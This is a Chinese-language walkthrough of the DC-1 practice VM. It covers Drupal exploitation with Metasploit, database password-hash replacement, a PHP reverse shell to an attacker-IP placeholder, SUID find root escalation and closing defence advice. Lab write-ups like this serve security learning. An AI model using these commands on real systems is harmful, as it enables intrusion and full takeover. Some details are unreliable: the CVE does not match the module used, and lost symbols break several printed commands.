DC-1靶机实战:从Drupal漏洞到Linux提权的完整渗透测试指南
1. 项目概述从“靶机DC-1”说起如果你对网络安全、渗透测试感兴趣或者正在学习相关的技能那么“靶机”这个词对你来说一定不陌生。DC-1就是众多靶机中一个非常经典且具有教学意义的入门级目标。它不是一个真实的、在线的网站或服务器而是一个被故意设计成存在多种安全漏洞的虚拟系统通常以虚拟机镜像如.ova或.vmdk文件的形式提供。你可以把它下载到自己的本地虚拟化环境比如VMware或VirtualBox里搭建一个完全隔离、合法的“黑客实验室”。DC-1的核心价值就在于它模拟了一个老旧但现实中可能存在的Drupal内容管理系统CMS环境通过攻克它你能亲手实践从信息收集、漏洞发现、漏洞利用到权限提升的完整渗透测试流程。我第一次接触DC-1还是好几年前当时它帮我理清了很多模糊的概念。很多教程只讲工具命令却不讲背后的逻辑而DC-1就像一本立体的教科书每一步都需要你思考“为什么”。它适合所有想从理论迈向实践的初学者也适合想巩固基础的中级爱好者。通过拿下DC-1你不仅能学会使用像Nmap、Metasploit、John the Ripper这样的经典工具更重要的是你能建立起一个渗透测试者的思维框架如何像攻击者一样思考如何系统地寻找弱点以及如何将零散的技术点串联成一个完整的攻击链。接下来我就带你从头到尾拆解一遍DC-1靶机分享其中的核心思路、实操细节以及我踩过的那些坑。2. 环境搭建与初始信息收集动手之前一个稳定、隔离的实验环境是首要前提。这不仅能让你安心练习也是职业操守的体现——永远只在授权或自建的环境中进行测试。2.1 靶机与攻击机环境准备DC-1靶机通常是一个预配置好的虚拟机文件。你需要从可信的源如VulnHub官网下载它的镜像文件。我强烈建议使用VMware Workstation Player或VirtualBox来运行它这两者都是免费且广泛使用的。导入虚拟机后一个关键步骤是将它的网络适配器设置为“NAT模式”或“仅主机模式”。我个人的偏好是使用“仅主机模式”并在VMware中创建一个特定的“仅主机”虚拟网络例如VMnet1。这样做的好处是靶机和你的攻击机通常是Kali Linux虚拟机能处于一个完全封闭的、与物理主机隔离的虚拟局域网中既安全又方便。你的攻击机我推荐使用Kali Linux。它是一个专为渗透测试和安全审计设计的Linux发行版集成了几乎所有你需要的工具。同样将Kali虚拟机的网络设置为与DC-1相同的“仅主机模式”并连接到同一个虚拟网络如VMnet1。启动两台虚拟机后你的第一项任务就是找出DC-1的IP地址。因为靶机通常不会主动告诉你它的地址你需要去“发现”它。2.2 基础信息收集实战信息收集是渗透测试的基石它决定了你后续攻击的效率和方向。对于DC-1我们首先需要找到它。在Kali Linux中打开终端。我们可以先用一个简单的命令查看攻击机自身的IP并推断出网段。使用ip addr show或ifconfig命令查看类似于192.168.xxx.yyy的地址。假设你的Kali IP是192.168.56.101那么靶机很可能就在192.168.56.0/24这个网段内。接下来使用网络扫描神器Nmap来发现活跃主机。一个快速的主机发现命令是sudo nmap -sn 192.168.56.0/24-sn参数表示只进行Ping扫描主机发现不进行端口扫描。执行后你应该能看到除了你的Kali之外的另一台活跃主机那就是DC-1靶机。假设我们发现了192.168.56.102。找到目标后下一步就是进行详细的端口扫描探查靶机开放了哪些服务这是了解其攻击面的关键。sudo nmap -sV -sC -O -p- 192.168.56.102这个命令组合非常强大-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行扫描能发现一些常见漏洞和信息。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口全端口扫描。扫描结果通常会显示DC-1开放了以下几个关键端口端口 22/tcp: SSH服务。这通常是远程管理通道也是我们后期可能尝试暴力破解或利用密钥漏洞的地方。端口 80/tcp: HTTP服务。这就是Web服务器是我们初期的主攻方向。Nmap的脚本可能会直接提示这是“Drupal” CMS。注意在实际测试中全端口扫描-p-可能会比较慢。如果时间紧张可以先扫描常见端口-p 1-1000。但为了彻底第一次接触时做一次全端口扫描是值得的可以避免遗漏像管理后台、特殊API端口这样的入口。3. Web应用渗透与漏洞利用确认了80端口开放着Drupal网站后我们的攻击重心就转移到了Web层面。Drupal是一个强大的CMS但历史版本中存在一些著名的漏洞。3.1 网站枚举与Drupal指纹识别首先用浏览器访问http://192.168.56.102。你会看到一个简单的网站这很可能就是Drupal的默认或简单主题界面。如何确认它真的是Drupal以及具体是哪个版本呢查看页面源码在首页右键查看页面源代码搜索“Drupal”、“generator”等关键词。Drupal通常在meta标签或页面底部留下生成器信息。检查特定文件尝试访问Drupal特有的文件路径如/CHANGELOG.txt、/README.txt、/core/CHANGELOG.txt。这些文件往往会明确写明版本号。对于DC-1访问/CHANGELOG.txt很可能直接告诉你这是 Drupal 7。使用工具在Kali终端可以使用whatweb命令进行快速指纹识别whatweb http://192.168.56.102这个命令会分析HTTP头、Cookie、HTML内容等并输出检测到的技术栈包括CMS类型和版本概率。确定是Drupal 7后一个必须尝试的漏洞就是Drupalgeddon。Drupalgeddon特指Drupal 7.x系列在2014年爆出的一个严重的SQL注入漏洞CVE-2014-3704。该漏洞允许攻击者在未授权的情况下执行SQL语句进而可能获取管理员权限、执行任意代码。3.2 利用Drupalgeddon获取ShellMetasploit Framework (MSF) 是渗透测试的瑞士军刀它内置了针对CVE-2014-3704的利用模块。我们打开Kali中的MSF控制台msfconsole进入后按以下步骤操作# 搜索Drupalgeddon相关模块 search drupalgeddon # 通常会看到 exploit/unix/webapp/drupal_drupalgeddon2 # 使用该模块 use exploit/unix/webapp/drupal_drupalgeddon2 # 查看需要设置的参数 show options # 设置目标地址RHOSTS和目标端口RPORT默认80 set RHOSTS 192.168.56.102 set RPORT 80 # 执行攻击 exploit如果靶机存在该漏洞且利用成功MSF会返回一个Meterpreter会话。Meterpreter是一个高级的、动态可扩展的Payload它提供了强大的后渗透功能。你会看到命令行提示符变成meterpreter 这表示你已经成功在靶机上获得了初始立足点通常是Web服务进程的权限如www-data。实操心得这是DC-1的第一个关键点。有时一次exploit可能不成功可以尝试run命令或者检查参数是否正确。获得Meterpreter会话后第一件事是使用getuid命令查看当前用户权限并使用sysinfo查看系统基本信息。记住我们现在是www-data用户权限很低下一步就是要“提权”。3.3 初步权限提升与信息搜集在Meterpreter会话中我们可以开始探索系统寻找提权的线索。# 切换到Shell环境如果是Python/PHP等环境可能需要用shell命令 shell # 获取一个更稳定的TTY Shell非常重要方便后续操作 python -c import pty; pty.spawn(/bin/bash) # 或者尝试 /bin/bash -i拿到一个相对完整的bash shell后开始信息搜集查看当前用户和权限id,whoami查看操作系统和内核版本uname -a,cat /etc/issue,cat /etc/*release*查看网络连接netstat -antp或ss -tulnp查看进程ps auxf查找敏感文件特别是配置文件、密码文件、备份文件。# 查找配置文件常含有数据库密码 find / -name *.php -type f 2/dev/null | xargs grep -l password\|DB_PASSWORD\|connect 2/dev/null | head -20 # 查找flag文件靶机常见 find / -name *flag* -type f 2/dev/null find / -name *.txt -type f 2/dev/null | xargs grep -i flag 2/dev/null在DC-1中一个经典的线索是Drupal的配置文件settings.php。它通常位于/var/www/或/var/www/html/下的sites/default目录中。cd /var/www find . -name settings.php 2/dev/null cat ./sites/default/settings.php | grep -A5 -B5 password在这个文件里你很可能会找到Drupal连接MySQL数据库的凭据包括数据库名、用户名和密码。这串密码是通往下一个关键阶段的大门。4. 数据库渗透与横向移动拿到数据库密码后攻击就从操作系统层面延伸到了应用数据层面。Drupal的所有内容包括用户账户信息都存储在MySQL数据库中。4.1 数据库探查与用户哈希提取使用找到的数据库密码登录MySQLmysql -udbuser -p # 然后输入找到的密码进入MySQL后查看数据库和表show databases; use drupaldb; -- 使用在settings.php中找到的数据库名 show tables;Drupal的用户信息主要存储在users表中。查看其结构并提取关键数据describe users; select name, pass from users;你会看到admin或其他用户名的pass字段这是一串以$S$开头的哈希值。这是Drupal使用的一种加盐的SHA-512哈希具体是Drupal 7的hash函数。直接破解这个哈希在本地可能比较耗时但我们可以利用这个哈希做一件更重要的事。4.2 利用Drupal密码哈希进行身份伪造Drupal的密码验证机制是用户登录时将输入的密码用同样的算法加盐、多次哈希计算与数据库中存储的哈希比对。如果我们能将自己的密码计算出同样格式的哈希并替换掉数据库中某个用户的哈希那我们就能用自己知道的密码登录那个账户了。在Kali攻击机上我们可以使用find命令定位Drupal的密码生成脚本或者使用一个Python工具来生成Drupal 7兼容的哈希。但更直接的方法是利用我们已经获得的Shell在靶机上直接操作。因为靶机上有完整的Drupal环境可以调用Drupal自身的函数来生成哈希。首先在靶机的Web目录下如/var/www找到一个可以执行PHP代码的地方。我们可以创建一个临时的PHP文件cd /var/www cat genhash.php EOF ?php define(DRUPAL_ROOT, getcwd()); require_once DRUPAL_ROOT . /includes/password.inc; $hash user_hash_password(your_new_password_here); echo $hash . \n; ? EOF然后在靶机的Shell中执行php genhash.php这会输出一串以$S$开头的哈希值这就是密码your_new_password_here对应的Drupal哈希。注意事项这种方法需要靶机PHP环境完整且能加载Drupal的核心文件。有时因为路径问题可能失败。如果失败可以尝试在Kali上使用John the Ripper (john) 配合drupal7格式进行哈希破解或者搜索专门的Drupal哈希生成脚本。但在DC-1的环境中上述方法通常是可行的。拿到新密码的哈希后回到MySQL更新管理员如admin的密码use drupaldb; update users set pass$S$C...你生成的新哈希 where nameadmin; flush privileges; exit;现在你就可以用密码your_new_password_here登录Drupal网站的管理后台了通常地址是/user/login或/admin。4.3 通过Drupal后台获取Shell登录Drupal管理员后台是DC-1的另一个关键转折点。Drupal后台功能强大其中包含直接执行PHP代码的模块如PHP filter模块或允许修改模板文件的地方。启用PHP Filter模块导航到管理 - 模块找到“PHP filter”核心模块并启用它。为管理员角色分配PHP权限导航到管理 - 人员 - 权限在“过滤器”区块下为“管理员”角色勾选“使用PHP代码文本格式”的权限。创建或修改内容执行PHP可以创建一个新的“基本页面”或“文章”在正文的文本格式中选择“PHP代码”。然后在正文中输入反向Shell的PHP代码。一个经典的PHP反向Shell代码如下需要将YOUR_KALI_IP和PORT替换为你的Kali监听地址和端口?php exec(/bin/bash -c bash -i /dev/tcp/YOUR_KALI_IP/4444 01); ?保存内容后访问这个页面的URL就会触发反向Shell连接。在Kali上监听在发起请求前先在Kali上使用Netcat监听指定端口。nc -nvlp 4444访问那个包含PHP代码的页面后你会在Netcat终端看到一个新的Shell连接。同样这个Shell的权限可能还是www-data。踩坑记录有时Drupal的配置或安全设置可能会限制某些函数如exec,system的执行。如果上述代码不工作可以尝试其他PHP代码执行方式比如passthru()、shell_exec()或者使用更隐蔽的文件写入方式先写一个Web Shell文件到服务器再通过浏览器访问该文件来执行命令。多准备几种Payload是实战中的好习惯。5. 系统权限提升与最终攻陷现在我们有了一个可能不止一个www-data用户的Shell。最终目标是获得最高权限root。在Linux系统中提权的方法五花八门核心思路是寻找配置错误、拥有特殊权限SUID/SGID的程序、内核漏洞或利用当前用户的特殊能力。5.1 系统信息深度搜集在提权前进行更彻底的侦察# 查看具有SUID/SGID权限的特殊文件 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看哪些文件对www-data用户可写特别是系统关键目录 find / -writable -type d 2/dev/null | grep -v proc | grep -v sys # 查看计划任务crontab cat /etc/crontab ls -la /etc/cron.*/ crontab -l # 查看当前用户的计划任务 # 查看安装了哪些软件及其版本 dpkg -l # Debian/Ubuntu rpm -qa # CentOS/RHEL # 检查不安全的sudo权限 sudo -l对于DC-1一个经典的提权向量是find命令的SUID权限滥用。如果你在执行find / -perm -us -type f 2/dev/null时发现/usr/bin/find文件的所有者权限位有一个s例如-rwsr-xr-x而不是x那就意味着任何用户执行这个find命令时它都将以文件所有者通常是root的权限运行。这是一个危险的配置错误。5.2 利用SUID find进行提权利用SUID的find命令提权有多种方式最直接的一种是利用其-exec参数来执行命令/usr/bin/find . -exec /bin/sh -p \; -quit或者/usr/bin/find / -name test -exec /bin/bash -p \;解释一下这个命令find以root权限搜索一个名为“test”的文件可能不存在对于找到的每个结果这里可能一个都没有它都会执行-exec后面的命令/bin/bash -p。-p参数告诉bash在特权模式下运行这样启动的bash shell就会继承root权限。执行成功后你的命令提示符可能会变成#输入id命令会显示uid0(root)。核心原理SUIDSet User ID是Linux的一种特殊权限。当为一个可执行文件设置SUID后无论哪个用户执行它该程序都会以文件所有者的身份运行。如果这个文件是root所有的并且存在逻辑漏洞或允许执行任意命令如find的-exec那么低权限用户就能利用它获得root shell。系统管理员应严格控制SUID文件的设置。5.3 寻找最终Flag与总结获得root权限后整个靶机就完全在你的控制之下了。渗透测试的最后一个环节往往是“后渗透”或“证明攻陷”在CTF或教学靶机中这通常表现为寻找“flag”文件。# 在根目录或常见位置寻找flag find / -name *flag* 2/dev/null find / -name *.txt -o -name *.md 2/dev/null | xargs grep -l flag 2/dev/null cat /root/final.txt cat /home/*/flag.txt在DC-1中最终的flag很可能就在/root目录下或者需要你串联起整个渗透过程中找到的多个线索比如多个部分的flag才能得到最终答案。6. 常见问题与排查技巧实录在实际操作DC-1或其他靶机时你肯定会遇到各种问题。下面是我总结的一些典型问题及其解决方法。6.1 网络连通性问题问题Kali无法Ping通DC-1靶机。检查1虚拟机网络设置。确保两台虚拟机都连接到同一个虚拟网络如VMnet1并且网络类型都是“仅主机模式”。检查2防火墙。检查Kali和物理主机的防火墙是否阻止了虚拟网络间的通信。可以暂时关闭防火墙测试。检查3IP地址冲突。使用arp-scan或查看虚拟网络DHCP分配情况确认IP没有冲突。解决在VMware的“虚拟网络编辑器”中确保VMnet1已启用并且子网地址如192.168.56.0与你的虚拟机IP在同一网段。6.2 Metasploit利用失败问题运行exploit后没有返回Meterpreter会话或者直接失败。可能原因1靶机服务未完全启动。给DC-1一点启动时间特别是第一次启动时Web服务可能需要几十秒才能就绪。可能原因2Payload不兼容。尝试更换Payload。在use exploit/...之后使用show payloads查看可用Payload尝试一个不同的例如set payload php/meterpreter/reverse_tcp。可能原因3反病毒或入侵检测。靶机虽然老旧但某些配置可能干扰。可以尝试使用更隐蔽的编码或捆绑方式在MSF中使用msfvenom生成独立Payload然后通过其他方式上传执行。排查命令在MSF中开启详细输出有助于调试set VERBOSE true exploit观察错误信息通常能定位问题。6.3 数据库连接失败问题使用mysql -u... -p连接数据库时被拒绝。检查1凭据是否正确。仔细核对settings.php中的数据库用户名、密码和数据库名。注意大小写和特殊字符。检查2MySQL服务是否运行。在靶机Shell中执行service mysql status或ps aux | grep mysql。检查3连接权限。Drupal的数据库用户可能被限制为只能从localhost连接。尝试在靶机Shell内部连接mysql -u dbuser -p -h localhost drupaldb。备用方案如果无法直接连接可以尝试通过Drupal的PHP文件来执行SQL查询。例如写一个简单的PHP脚本使用Drupal的数据库API来查询数据。6.4 提权尝试无效问题执行SUID find提权命令后没有得到root shell。检查1find是否真的有SUID位。再次用ls -la /usr/bin/find确认权限字符串中是否有-rwsr-xr-x第四个字符是s。检查2命令语法。确保命令中的分号\;被正确转义。也可以尝试不同的命令变体/usr/bin/find / -exec /bin/sh \;检查3环境限制。某些系统可能通过安全模块如AppArmor, SELinux限制了SUID程序的执行。可以尝试查看日志dmesg | tail或/var/log/auth.log获取线索。尝试其他提权路径不要只盯着find。重新仔细分析sudo -l的结果查看是否有任何程序可以以root身份无密码运行。检查内核版本uname -a搜索该版本是否存在公开的本地提权漏洞使用searchsploit命令。6.5 反向Shell连接不稳定或无响应问题Netcat收到了连接但Shell无法交互或者立即断开。原因1Shell环境不完整。Web Shell或某些Payload获得的Shell往往是“非交互式”或“受限”的。需要使用Python/Perl/Socat等工具来升级为全功能TTY。标准升级命令# 在获得的简陋Shell中执行 python -c import pty; pty.spawn(/bin/bash) # 如果Python不可用尝试 /bin/bash -i # 或者使用socat需要在攻击机和靶机都安装不常用原因2网络不稳定或防火墙。确保监听端口没有被其他程序占用并且网络策略允许连接。原因3Payload本身问题。尝试使用不同语言或编码的反向Shell Payload。MSFvenom可以生成各种稳定的Payload。7. 拓展思考与防御建议拿下DC-1不是终点而是起点。通过这个靶机我们实际上复盘了一次针对老旧CMS系统的典型攻击路径。从防御者的角度来看每一个我们利用的漏洞都对应着一个可以加固的安全点。1. 针对Drupalgeddon (CVE-2014-3704)根本原因Drupal 7.x 在database.inc文件中的SQL语句构建存在缺陷未对数组参数进行充分过滤。防御及时更新这是最有效的方法。Drupal官方在漏洞披露后迅速发布了安全更新。对于任何开源软件建立补丁管理流程至关重要。对于无法立即更新的系统可以考虑部署Web应用防火墙WAF规则来拦截相关的恶意SQL注入请求。2. 针对弱密码与密码哈希替换根本原因使用了弱数据库密码且攻击者通过Web漏洞获取了修改数据库的途径。防御为数据库、后台等关键服务使用强密码长、复杂、随机。遵循最小权限原则Drupal的数据库用户只需拥有其自身数据库的必要权限不应拥有全局权限。定期审计数据库操作日志监控异常的数据修改行为。考虑对users表的关键字段如pass,mail的更新操作进行额外的审计或二次验证。3. 针对后台PHP代码执行根本原因过度授权。允许内容编辑者使用“PHP代码”文本格式是极其危险的行为。防御除非绝对必要否则永远不要启用“PHP filter”模块。Drupal官方也强烈不建议使用该模块。如果某些功能必须执行PHP应将其限制在极少数高度信任的管理员并考虑使用更安全的替代方案如创建自定义的、经过严格安全审计的模块。对管理员账户实施多因素认证MFA。4. 针对SUID提权find根本原因系统配置错误。find这类强大的系统管理工具不应被设置SUID位。防御定期使用类似find / -perm -us -type f 2/dev/null的命令审计系统中的SUID/SGID文件移除非必要的特殊权限。使用如lynis,chkrootkit等安全审计工具进行系统安全检查。实施权限最小化原则确保每个服务、每个进程都以完成其功能所需的最小权限运行。DC-1虽然是一个故意留有漏洞的教学环境但它反映的安全问题在现实世界中屡见不鲜。通过攻击它你不仅学会了工具的使用更应该理解每一层防御缺失可能带来的后果。最好的学习方式就是既扮演攻击者也扮演防御者从两个角度去思考同一个系统这样你的安全技能树才会更加完整和牢固。